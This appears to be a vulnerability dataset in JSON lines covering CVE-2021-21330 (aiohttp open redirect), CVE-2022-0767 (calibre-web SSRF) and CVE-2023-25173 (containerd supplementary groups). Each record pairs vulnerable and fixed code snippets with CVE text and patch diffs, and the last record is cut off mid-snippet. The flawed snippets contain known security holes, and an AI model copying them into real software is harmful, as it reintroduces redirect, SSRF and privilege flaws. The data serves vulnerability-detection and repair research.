{"cve_id": "CVE-2021-21330", "cve_description": "aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. In aiohttp before version 3.7.4 there is an open redirect vulnerability. A maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website. It is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware. This security problem has been fixed in 3.7.4. Upgrade your dependency using pip as follows \"pip install aiohttp >= 3.7.4\". If upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/aio-libs/aiohttp", "patch_url": ["https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_357_1", "commit": "f2afa2f054ba9e6c5d142e00233f0073925e7893", "file_path": "aiohttp/web_middlewares.py", "start_line": 88, "end_line": 117, "snippet": "    async def impl(request: Request, handler: _Handler) -> StreamResponse:\n        if isinstance(request.match_info.route, SystemRoute):\n            paths_to_check = []\n            if \"?\" in request.raw_path:\n                path, query = request.raw_path.split(\"?\", 1)\n                query = \"?\" + query\n            else:\n                query = \"\"\n                path = request.raw_path\n\n            if merge_slashes:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path))\n            if append_slash and not request.path.endswith(\"/\"):\n                paths_to_check.append(path + \"/\")\n            if remove_slash and request.path.endswith(\"/\"):\n                paths_to_check.append(path[:-1])\n            if merge_slashes and append_slash:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path + \"/\"))\n            if merge_slashes and remove_slash and path.endswith(\"/\"):\n                merged_slashes = re.sub(\"//+\", \"/\", path)\n                paths_to_check.append(merged_slashes[:-1])\n\n            for path in paths_to_check:\n                resolves, request = await _check_request_resolves(request, path)\n                if resolves:\n                    raise redirect_class(request.raw_path + query)\n\n        return await handler(request)\n\n    return impl"}], "fix_func": [{"id": "fix_py_357_1", "commit": "2545222a3853e31ace15d87ae0e2effb7da0c96b", "file_path": "aiohttp/web_middlewares.py", "start_line": 88, "end_line": 118, "snippet": "    async def impl(request: Request, handler: _Handler) -> StreamResponse:\n        if isinstance(request.match_info.route, SystemRoute):\n            paths_to_check = []\n            if \"?\" in request.raw_path:\n                path, query = request.raw_path.split(\"?\", 1)\n                query = \"?\" + query\n            else:\n                query = \"\"\n                path = request.raw_path\n\n            if merge_slashes:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path))\n            if append_slash and not request.path.endswith(\"/\"):\n                paths_to_check.append(path + \"/\")\n            if remove_slash and request.path.endswith(\"/\"):\n                paths_to_check.append(path[:-1])\n            if merge_slashes and append_slash:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path + \"/\"))\n            if merge_slashes and remove_slash and path.endswith(\"/\"):\n                merged_slashes = re.sub(\"//+\", \"/\", path)\n                paths_to_check.append(merged_slashes[:-1])\n\n            for path in paths_to_check:\n                path = re.sub(\"^//+\", \"/\", path)  # SECURITY: GHSA-v6wp-4m6f-gcjg\n                resolves, request = await _check_request_resolves(request, path)\n                if resolves:\n                    raise redirect_class(request.raw_path + query)\n\n        return await handler(request)\n\n    return impl"}], "vul_patch": "--- a/aiohttp/web_middlewares.py\n+++ b/aiohttp/web_middlewares.py\n@@ -21,6 +21,7 @@\n                 paths_to_check.append(merged_slashes[:-1])\n \n             for path in paths_to_check:\n+                path = re.sub(\"^//+\", \"/\", path)  # SECURITY: GHSA-v6wp-4m6f-gcjg\n                 resolves, request = await _check_request_resolves(request, path)\n                 if resolves:\n                     raise redirect_class(request.raw_path + query)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0767", "cve_description": "Server-Side Request Forgery (SSRF) in GitHub repository janeczku/calibre-web prior to 0.6.17.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/janeczku/calibre-web", "patch_url": ["https://github.com/janeczku/calibre-web/commit/965352c8d96c9eae7a6867ff76b0db137d04b0b8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_375_1", "commit": "8007e450b3178f517b83b0989744c6df38867932", "file_path": "cps/helper.py", "start_line": 732, "end_line": 751, "snippet": "def save_cover_from_url(url, book_path):\n    try:\n        if not cli.allow_localhost:\n            # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n            ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\":\n                log.error(\"Localhost was accessed for cover upload\")\n                return False, _(\"You are not allowed to access localhost for cover uploads\")\n        img = requests.get(url, timeout=(10, 200))      # ToDo: Error Handling\n        img.raise_for_status()\n        return save_cover(img, book_path)\n    except (socket.gaierror,\n            requests.exceptions.HTTPError,\n            requests.exceptions.ConnectionError,\n            requests.exceptions.Timeout) as ex:\n        log.info(u'Cover Download Error %s', ex)\n        return False, _(\"Error Downloading Cover\")\n    except MissingDelegateError as ex:\n        log.info(u'File Format Error %s', ex)\n        return False, _(\"Cover Format Error\")"}], "fix_func": [{"id": "fix_py_375_1", "commit": "965352c8d96c9eae7a6867ff76b0db137d04b0b8", "file_path": "cps/helper.py", "start_line": 732, "end_line": 751, "snippet": "def save_cover_from_url(url, book_path):\n    try:\n        if not cli.allow_localhost:\n            # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n            ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\" or ip == \"0.0.0.0\" or ip == \"::\":\n                log.error(\"Localhost was accessed for cover upload\")\n                return False, _(\"You are not allowed to access localhost for cover uploads\")\n        img = requests.get(url, timeout=(10, 200), allow_redirects=False)      # ToDo: Error Handling\n        img.raise_for_status()\n        return save_cover(img, book_path)\n    except (socket.gaierror,\n            requests.exceptions.HTTPError,\n            requests.exceptions.ConnectionError,\n            requests.exceptions.Timeout) as ex:\n        log.info(u'Cover Download Error %s', ex)\n        return False, _(\"Error Downloading Cover\")\n    except MissingDelegateError as ex:\n        log.info(u'File Format Error %s', ex)\n        return False, _(\"Cover Format Error\")"}], "vul_patch": "--- a/cps/helper.py\n+++ b/cps/helper.py\n@@ -3,10 +3,10 @@\n         if not cli.allow_localhost:\n             # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n             ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n-            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\":\n+            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\" or ip == \"0.0.0.0\" or ip == \"::\":\n                 log.error(\"Localhost was accessed for cover upload\")\n                 return False, _(\"You are not allowed to access localhost for cover uploads\")\n-        img = requests.get(url, timeout=(10, 200))      # ToDo: Error Handling\n+        img = requests.get(url, timeout=(10, 200), allow_redirects=False)      # ToDo: Error Handling\n         img.raise_for_status()\n         return save_cover(img, book_path)\n     except (socket.gaierror,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-25173", "cve_description": "containerd is an open source container runtime. A bug was found in containerd prior to versions 1.6.18 and 1.5.18 where supplementary groups are not set up properly inside a container. If an attacker has direct access to a container and manipulates their supplementary group access, they may be able to use supplementary group access to bypass primary group restrictions in some cases, potentially gaining access to sensitive information or gaining the ability to execute code in that container. Downstream applications that use the containerd client library may be affected as well.\n\nThis bug has been fixed in containerd v1.6.18 and v.1.5.18. Users should update to these versions and recreate containers to resolve this issue. Users who rely on a downstream application that uses containerd's client library should check that application for a separate advisory and instructions. As a workaround, ensure that the `\"USER $USERNAME\"` Dockerfile instruction is not used. Instead, set the container entrypoint to a value similar to `ENTRYPOINT [\"su\", \"-\", \"user\"]` to allow `su` to properly set up supplementary groups.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/containerd/containerd", "patch_url": ["https://github.com/containerd/containerd/commit/133f6bb6cd827ce35a5fb279c1ead12b9d21460a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_52_2", "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4", "file_path": "oci/spec_opts.go", "start_line": 523, "end_line": 613, "snippet": "func WithUser(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) error {\n\t\tsetProcess(s)\n\n\t\t// For LCOW it's a bit harder to confirm that the user actually exists on the host as a rootfs isn't\n\t\t// mounted on the host and shared into the guest, but rather the rootfs is constructed entirely in the\n\t\t// guest itself. To accommodate this, a spot to place the user string provided by a client as-is is needed.\n\t\t// The `Username` field on the runtime spec is marked by Platform as only for Windows, and in this case it\n\t\t// *is* being set on a Windows host at least, but will be used as a temporary holding spot until the guest\n\t\t// can use the string to perform these same operations to grab the uid:gid inside.\n\t\tif s.Windows != nil && s.Linux != nil {\n\t\t\ts.Process.User.Username = userstr\n\t\t\treturn nil\n\t\t}\n\n\t\tparts := strings.Split(userstr, \":\")\n\t\tswitch len(parts) {\n\t\tcase 1:\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\t// if we cannot parse as a uint they try to see if it is a username\n\t\t\t\treturn WithUsername(userstr)(ctx, client, c, s)\n\t\t\t}\n\t\t\treturn WithUserID(uint32(v))(ctx, client, c, s)\n\t\tcase 2:\n\t\t\tvar (\n\t\t\t\tusername  string\n\t\t\t\tgroupname string\n\t\t\t)\n\t\t\tvar uid, gid uint32\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\tusername = parts[0]\n\t\t\t} else {\n\t\t\t\tuid = uint32(v)\n\t\t\t}\n\t\t\tif v, err = strconv.Atoi(parts[1]); err != nil {\n\t\t\t\tgroupname = parts[1]\n\t\t\t} else {\n\t\t\t\tgid = uint32(v)\n\t\t\t}\n\t\t\tif username == \"\" && groupname == \"\" {\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tf := func(root string) error {\n\t\t\t\tif username != \"\" {\n\t\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\t\treturn u.Name == username\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tuid = uint32(user.Uid)\n\t\t\t\t}\n\t\t\t\tif groupname != \"\" {\n\t\t\t\t\tgid, err = GIDFromPath(root, func(g user.Group) bool {\n\t\t\t\t\t\treturn g.Name == groupname\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn f(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, f)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"invalid USER value %s\", userstr)\n\t\t}\n\t}\n}"}, {"id": "vul_go_52_3", "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4", "file_path": "oci/spec_opts.go", "start_line": 616, "end_line": 623, "snippet": "func WithUIDGID(uid, gid uint32) SpecOpts {\n\treturn func(_ context.Context, _ Client, _ *containers.Container, s *Spec) error {\n\t\tsetProcess(s)\n\t\ts.Process.User.UID = uid\n\t\ts.Process.User.GID = gid\n\t\treturn nil\n\t}\n}"}, {"id": "vul_go_52_4", "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4", "file_path": "oci/spec_opts.go", "start_line": 629, "end_line": 678, "snippet": "func WithUserID(uid uint32) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tsetProcess(s)\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\t\t})\n\t}\n}"}, {"id": "vul_go_52_5", "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4", "file_path": "oci/spec_opts.go", "start_line": 686, "end_line": 733, "snippet": "func WithUsername(username string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tsetProcess(s)\n\t\tif s.Linux != nil {\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t})\n\t\t} else if s.Windows != nil {\n\t\t\ts.Process.User.Username = username\n\t\t} else {\n\t\t\treturn errors.New(\"spec does not contain Linux or Windows section\")\n\t\t}\n\t\treturn nil\n\t}\n}"}, {"id": "vul_go_52_6", "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4", "file_path": "oci/spec_opts.go", "start_line": 738, "end_line": 804, "snippet": "func WithAdditionalGIDs(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tvar username string\n\t\t\tuid, err := strconv.Atoi(userstr)\n\t\t\tif err == nil {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Uid == uid\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tusername = user.Name\n\t\t\t} else {\n\t\t\t\tusername = userstr\n\t\t\t}\n\t\t\tgids, err := getSupplementalGroupsFromPath(root, func(g user.Group) bool {\n\t\t\t\t// we only want supplemental groups\n\t\t\t\tif g.Name == username {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tfor _, entry := range g.List {\n\t\t\t\t\tif entry == username {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = gids\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}"}], "fix_func": [{"id": "fix_go_52_1", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 116, "end_line": 126, "snippet": "// ensureAdditionalGids ensures that the primary GID is also included in the additional GID list.\nfunc ensureAdditionalGids(s *Spec) {\n\tsetProcess(s)\n\tfor _, f := range s.Process.User.AdditionalGids {\n\t\tif f == s.Process.User.GID {\n\t\t\treturn\n\t\t}\n\t}\n\ts.Process.User.AdditionalGids = append([]uint32{s.Process.User.GID}, s.Process.User.AdditionalGids...)\n}\n"}, {"id": "fix_go_52_2", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 534, "end_line": 626, "snippet": "func WithUser(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) error {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\n\t\t// For LCOW it's a bit harder to confirm that the user actually exists on the host as a rootfs isn't\n\t\t// mounted on the host and shared into the guest, but rather the rootfs is constructed entirely in the\n\t\t// guest itself. To accommodate this, a spot to place the user string provided by a client as-is is needed.\n\t\t// The `Username` field on the runtime spec is marked by Platform as only for Windows, and in this case it\n\t\t// *is* being set on a Windows host at least, but will be used as a temporary holding spot until the guest\n\t\t// can use the string to perform these same operations to grab the uid:gid inside.\n\t\tif s.Windows != nil && s.Linux != nil {\n\t\t\ts.Process.User.Username = userstr\n\t\t\treturn nil\n\t\t}\n\n\t\tparts := strings.Split(userstr, \":\")\n\t\tswitch len(parts) {\n\t\tcase 1:\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\t// if we cannot parse as a uint they try to see if it is a username\n\t\t\t\treturn WithUsername(userstr)(ctx, client, c, s)\n\t\t\t}\n\t\t\treturn WithUserID(uint32(v))(ctx, client, c, s)\n\t\tcase 2:\n\t\t\tvar (\n\t\t\t\tusername  string\n\t\t\t\tgroupname string\n\t\t\t)\n\t\t\tvar uid, gid uint32\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\tusername = parts[0]\n\t\t\t} else {\n\t\t\t\tuid = uint32(v)\n\t\t\t}\n\t\t\tif v, err = strconv.Atoi(parts[1]); err != nil {\n\t\t\t\tgroupname = parts[1]\n\t\t\t} else {\n\t\t\t\tgid = uint32(v)\n\t\t\t}\n\t\t\tif username == \"\" && groupname == \"\" {\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tf := func(root string) error {\n\t\t\t\tif username != \"\" {\n\t\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\t\treturn u.Name == username\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tuid = uint32(user.Uid)\n\t\t\t\t}\n\t\t\t\tif groupname != \"\" {\n\t\t\t\t\tgid, err = GIDFromPath(root, func(g user.Group) bool {\n\t\t\t\t\t\treturn g.Name == groupname\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn f(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, f)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"invalid USER value %s\", userstr)\n\t\t}\n\t}\n}"}, {"id": "fix_go_52_3", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 629, "end_line": 638, "snippet": "func WithUIDGID(uid, gid uint32) SpecOpts {\n\treturn func(_ context.Context, _ Client, _ *containers.Container, s *Spec) error {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\ts.Process.User.UID = uid\n\t\ts.Process.User.GID = gid\n\t\treturn nil\n\t}\n}"}, {"id": "fix_go_52_4", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 644, "end_line": 684, "snippet": "func WithUserID(uid uint32) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tsetUser := func(root string) error {\n\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setUser(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n\t}\n}"}, {"id": "fix_go_52_5", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 692, "end_line": 735, "snippet": "func WithUsername(username string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tif s.Linux != nil {\n\t\t\tsetUser := func(root string) error {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn setUser(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n\t\t} else if s.Windows != nil {\n\t\t\ts.Process.User.Username = username\n\t\t} else {\n\t\t\treturn errors.New(\"spec does not contain Linux or Windows section\")\n\t\t}\n\t\treturn nil\n\t}\n}"}, {"id": "fix_go_52_6", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 740, "end_line": 808, "snippet": "func WithAdditionalGIDs(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tdefer ensureAdditionalGids(s)\n\t\t\tvar username string\n\t\t\tuid, err := strconv.Atoi(userstr)\n\t\t\tif err == nil {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Uid == uid\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tusername = user.Name\n\t\t\t} else {\n\t\t\t\tusername = userstr\n\t\t\t}\n\t\t\tgids, err := getSupplementalGroupsFromPath(root, 